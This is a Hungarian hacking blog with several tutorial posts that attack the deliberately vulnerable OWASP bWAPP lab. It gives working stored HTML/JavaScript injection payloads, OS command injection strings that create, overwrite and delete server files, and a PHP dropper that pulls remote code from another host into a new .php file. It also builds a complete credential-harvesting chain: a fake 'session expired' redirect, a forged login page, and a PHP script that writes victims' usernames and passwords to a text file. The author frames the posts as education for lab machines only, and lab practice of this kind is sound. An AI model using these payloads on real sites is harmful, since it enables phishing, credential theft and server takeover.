Napi hackelés

Napi hackelés

Cseréljük le az elemeket az oldalon... köszi HTML

2021. január 15. - c3llenger

Az előző postban megnéztük hogyan lehet betenni egy plusz menüpontot az oldalra javascript segítségével, ami ráaadásul megjelenésében ugyanolyan mint a többi gomb. Most az input mező helyére rakunk be egy új elemet, eltűntetve az eredetit.

Maradunk a bWAPP HTML Injection Stored Blog oldalon és az input mezőbe írjuk be az alábbi kódot:

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">
Kerjuk jelentkezz be ujra:<br><form name="login" action="">
<table><tr><td>Felhasznalonev:</td><td><input type="text" name="username"/></td></tr><tr><td>Jelszo:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Belepek"/></td></tr>
</table></form>

Mit látunk? Eltűnt az eredeti input mező és helyette az általunk kreált login form fogad minket :)

Én úgy gondolom hogy a html injection és os command injection részt egész jól átnéztük, láthattuk hogy miket lehet megvalósítani ezeket a sérülékenységeket kihasználva. Próbálgassátok, de csak erre a célra létrehozott gépeken, oldalakon!



Csináljunk saját menüt... köszi Javascript

Maradjunk még mindig a bWAPP HTML Injection Stored Blog oldalon, ahol a kis kommentünket tudjuk rögzíteni a nagyvilág számára. Az előzőekben láthattuk hogy bizony sebezhető, Megeszi és futtatja a javascript kódokat.

Ha már így alakult akkor használjuk ki újra, de most még meggyőzőbben. A terv az, hogy az oldal menüsorába beteszünk egy saját menüpontot, ami bárhova mutathat.

Ehhez semmi mást nem kell tennünk mint átnézni az oldal forráskódját hogy hogyan is néz ki a menü. Ha ez megvan akkor a bWAPP HTML Injection Stored Blog oldalon illesszétek be a következő kis kódot:

<script>
var nav=document.getElementById("menu");
var node = document.createElement("a");
var textnode = document.createTextNode("ezt mi hoztuk létre");
node.appendChild(textnode);
node.setAttribute('href', 'http://www.google.com');
nav.appendChild(node);
</script>

Innentől kezdve a menüben van egy általunk létrehozott link, ami a google-ra mutat. Az általunk létrehozott gomb megjelenése ráadásul ugyanolyan mint a többi gombé. Hajrá ;)


OS Injection, php file létrehozása másképp

Maradunk az előző témánál. Láthattuk, hogy miként tudunk bizonyos sérülékenységeknél fileokat létrehozni, módosítani, törölni. Már arról is lehet elképzelésünk, hogy miként lehet ezeket felhasználni.

Most nem is csinálunk semmi újat inkább a módszert finomítjuk. Az előző példában is láttuk hogy kódjainkat egy max kb 30 karakteres input mezőbe kellett beilleszteni. Persze nem volt limitálva, és ha lett volna sem okozna gondot - erről majd később, De mi most mégsem egy ilyen pici mezőbe akarjuk illeszgetni a kódjainkat, ami tegyük fel legyen most 50 soros.

Hogyan lehetne még létrehozni filet?

Mutatom:
a példa kedvéért megint a bWAPP-ba teszem fel az amúgy külsőleg használt file-t ami egy txt.
Menjunk a /bWAPP/commandi.php oldalra, majd hozzunk létre egy txt fájlt:

; echo "<?php echo 'mukodik az oldal'; \$a = 5; \$b = 10; \$osszeg = \$a + \$b; echo \$osszeg; ?>" > forras.txt

ebben van kiíratás, vannak változók és egy összeadás is. A valóságban ezt szépen megszerkesztjük hosszan, és valami ftp-re feltöltjük kényelmesen, ahonnan a következő kis script-tel beolvassuk a tartalmát és ki is íratjuk egy php fájlba:

;echo "<?php \$tartalom = file_get_contents('http://192.168.100.5/bWAPP/forras.txt'); \$myfile = fopen('forras.php', 'w'); fwrite(\$myfile, '\n'.\$tartalom); fclose(\$myfile);echo 'lefutva'; ?>" > proba.php

ezután, ha lefuttatjuk a a proba.php-t az elkészíti nekünk a forrás.php-t. Ha azt lefuttatjuk a következő eredményt kapjuk:

mukodik az oldal15

nem egy szép kimenet, de ezt kértük tőle :) bemutatásra tökéletes. Ezután eltűntetjük a a proba.php-t és boldogok vagyunk.

A mai hack igazán egyszerű dolog, de szerintem hasznos lehet sok esetben, és jó tudni hogy ez a módszer működik!!!

ch3llenger

HTML és OS Injection az első "támadás"

Első körben kezdjünk valami egyszerűvel, viszont mélyedjünk el benne annyira, hogy legyen elképzelésünk hogy mennyire mély lehet a nyúl ürege.
"Áldozatunk" az OWASP bWAPP-ja lesz, ami egy direkt gyakorlásra kitalált hibáktól hemzsegő kis gyűjtemény.
https://sourceforge.net/projects/owaspbwa/ (innen le tudjátok szedni)

Az én platformom Kali Linux, de jelen esetben ez nem számít, a bwappnak pedig a következő oldalait fogjuk használni:
bWAPP/htmli_stored.php
bWAPP/commandi.php
bWAPP/commandi_blind.php
Mindegyiket "low" security szinten.

Ezekre ha rákerestek neten, vagy youtube-on millió videó van arról hogy hogyan lehet felfedezni a sebezhetőségüket. Ez nyilván fontos rész, de sok esetben nem mutatják be azt, hogy mennyire veszélyes lehet ezeket a sérülékenységeket félvállról venni, illetve hogyan kell ezeket kihasználni.

Mi most túlmegyünk azon hogy felfedezzük a hibát, vagy hogy elszórakozzunk azzal hogy a kommentjeinket más formában látjuk vissza az oldalon. Mi ki is fogjuk ezeket a sérülékenységeket használni. Bár nagyon vagánynak tűnhet amit csinálunk majd, de azt fontos tudni hogy ez low biztonsági szint ellen megy, és bár technikailag érdekes és működő képes a támadásunk, de a valóságban mint összességet nézve már nem biztos hogy megvalósítható. De mivel oktató jellegű a blog, ezért szemeket felnyitni, és gondolkodásra késztetni tökéletes. Élesben nem próbálgatni, csomó virtuális gép van erre a célra!

Kezdjük is azzal, hogy a fent említett oldalak egyáltalán sebezhetőek-e!

bWAPP/htmli_stored.php
Ez egy sima form, beirsz valamit a szövegmezőbe, majd alul egy táblázatban kiírja az így bevitt megjegyzéseket.
Teljesen egyszerű. Teszteljük:
<b>proba</b> - alul félkövérként jelenik meg, MŰKÖDIK
<script>alert("teszt")</script> - felugrik a kis ablak teszt üzenettel, MŰKÖDIK


bWAPP/commandi.php
Ez sem egy túl bonyolult oldal. Az input mezőbe beírt oldalról ad vissza adatokat. Érdekes, de minket jobban érdekel hogy mit csinál ha beírjuk azt a parancsot hogy  ls. Ennek a formája a következő: kitöröltök mindent a mezőből majd beirjátok hogy: ;ls    MŰKÖDIK. Megy a listázás. Ez félsiker. Szóval listázzni tudunk, akkor tegyünk is bele valamit ;) ;echo ez egy proba uzenet > a1.txt     
Kétféleképp tudjuk leellenőrizni hogy sikerült-e:
a. ;ls     -> a listában megtaláljuk az a1.txt-t
b. /bWAPP/a1.txt    -> ezt beillesztve a böngészőbe meg tudjuk nézni annak tartalmát
Természetesen nem csak txt fájlokat írhatunk hanem .php, .html-t is. Így a szerveren tudunk létrehozni saját fileokat, anélkül hogy fel lehetne tölteni.

bWAPP/commandi_blind.php
Ez nagyon hasonló mint az előző, de itt az előbb használt ;ls parancs már nem ad eredményt. Nem baj. Vannak tesztek ahol bár konkrét választ nem kapunk, de a válasz idejéből következtethetünk arra hogy az történik-e ami nekünk kell, vagy az eredményt máshol tudjuk megnézni. Mi most az utóbbit használjuk.
; echo test > a1.txt     majd nézzük meg a txt fileunk tartalmát a böngészőben ahogy az előbb. Azt írja hogy "test", szóval működik.  Ebből kiderül hogy már létező fájlt, át tudunk írni. Hajaj... Támadásunk során ezt az oldalt nem használjuk mivel ugyazaz megvalósítható általa mint a párjával, de a tesztelését megnéztük ha már itt vagyunk.

Kezdjünk tisztalappal mindent, mejünk vissza a htmli stored blog oldalra, majd simán az eredetileg is megtalálható lehetőségekkel töröljük ki a megjegyzéseket.
Ez sima.

Az a1.txt-től is meg kellene szabadulni, nem mintha zavarna, de ha sikerül az elég bizar, hogy nem csak új fájlokat tudunk létrehozzni, átírni,  hanem törölni is...

Használjuk a sima  os command injection oldalt:
;rm a1.txt     ezt elküldve ha frissítjük a /bWAPP/a1.txt a böngészőben akkor 404 not foundot kapunk. SIKER!

Összegezve hogy mit is tudunk csinálni ezzel a 3 oldallal:
tudunk beileszteni html és javascript kódokat, amik le is futnak
tudunk létrehozni és törölni oldalakat, illetve fájlokat
felülírni is tudjuk azokat

Saját magunkból kiindulva tudjuk, hogy ha egy oldal nevében kapunk egy emailt ami arra kér minket hogy változtassuk meg a jelszavunkat, az már gyanús, de az még gyanúsabb ha a csatolt link egy olyan oldalra vezet ami csak részben vagy abszolut nem hasonlít az eredeti oldal címére, illetve ha a link rövidített és nem is látjuk hogy hova irányít minket. Ha az eredeti oldal cime www.napihackeles.hu, de a kapott link www.napihackeles.xy.hu az kérdéseket vet fel.
Viszont,
ha az történik hogy böngészés közben kapunk egy üzenetet hibaként, hogy "a munkamenet lejárt, kérjük lépjen be ujra", majd ezt leokézva átkerülünk a belépő oldalra, ami a www.napihackeles.hu/abelepes.hu-n van, az már annyira nem feltűnő. Mi belépünk újra, és használjuk tovább az oldalt. Mintha semmi nem történt volna.

Mi ezt fogjuk most megvalósítani: kicsaljuk a belépési adatokat!

A támadás a következő képp fog zajlani:
1. lépésben a felhasználó odatéved a html injection stored blog oldalra, ahova mi elhelyezünk egy scriptet ami automatikus lefut, és annyit csinál hogy felugró ablakban közli hogy lejárt a munkamenet ezért be kellene lépni újra az oldalra. Ezután átdobjuk egy általunk, az OS command injection oldalon keresztül létrehozott oldalra, ahol megadja a belépéshez szükséges adatait. Amikor belép, mindent amit beírt továbbítunk egy txt fájlba amit szintén mi hoztunk létre. Így a kódunkba nem kell megadni külső oldalt ahol meg tudjuk nézni az így elszedett belépési  adatokat.

Lássunk hozzá:
1
csináljuk meg a jelszavak.txt -t
bWAPP/commandi_blind.php   -> ;echo jelszavak: > jelszavak.txt

2
ezután itt csináljuk meg a belépő oldalt, amire átirányítjuk a felhasználót: 
;echo '<html>
<title>Login</title>
<body>
<center>
<h1>Kerjuk jelentkezz be</h1>
</center><br>
<center>
<form action="/bWAPP/abc2.php" method="POST">
<label>Azonosito</label><br>
<input type="text" name="azonosito"></input><br>
<label>Jelszo</label><br>
<input type="text" name="jelszo"></input><br>
<input type="submit" value="Belepek"></input>
</from>
</center>
</body>
</html>' > abelepes.php


3
csinaljuk meg az abc2.php-t ami fogadja a fake belépőoldalról az adatokat, majd a már létrehozott txt-be beirja azokat és visszaugrik a kezdő oldalra
;echo "<?php echo \$_POST['azonosito']; echo \$_POST['jelszo']; \$myfile = fopen('jelszavak.txt', 'a'); fwrite(\$myfile, '\n'. \$_POST['azonosito']); fwrite(\$myfile, '\n'. \$_POST['jelszo']); fclose(\$myfile); header('Location: /bWAPP/portal.php');?>" > abc2.php
FONTOS: a gyakorlott php-s szemek gondolom kiszúrták a $ jel előtt per jelet. Ha ezt ebben a formában nem használjuk nem lesz felismerhető a gépnek a $ jel.

4
tegyük be a htmli injection stored blogba, azt a kis kódrészletet ami feldobja a felhasználónak a lejárt munkamenetről az értesítést:

Nagyon jo az oldal srcok, igy tovabb!!
<script>
myFunction();
function myFunction() {
var txt;
if (confirm("Lejárt munkamenet, kérjük jelentkezzen be újra")) {
txt = "Bejelentkezés"; window.location.replace("http://192.168.100.5/bWAPP/abelepes.php");
} else {
txt = "Vissza";
}
document.getElementById("demo").innerHTML = txt;
window.location.replace("http://192.168.100.5/bWAPP/aelepes.php");
}
</script>

5
Kész is művünk. Mi is fog történni?
A felhasználó amint a html injection - stored blog oldalra téved, kap egy felugró ablakot arról hogy a munkamenet lejárt és be kell lépnie. Ha rányom a Bejelentkezésre, akkor átirányitja az oldal a /bWAPP/abelepes.php-ra, - amit mi most ugyan nagyon szegényes kinézettel csináltunk meg, de simán lemásolhatjuk az eredeti belépő oldalt is - ahol begépelve a a belépési adatokat, azt továbbítjuk az abc2.php-nak ami rögtön kiirja azokat a jelszavak.txt-be, majd atirányitja a felhasználót valamelyik másik oldalra.

Mint az elején írtam ha egy oldal sebezhető, akkor ezek technikailag megvalósíthatóak, de hogy az életben mennyire működőképes az már kérdéses. Mindenesetre tanúlságos. Próbálgassátok, ha elakadtok írjatok!

c3llenger


 

 

 

süti beállítások módosítása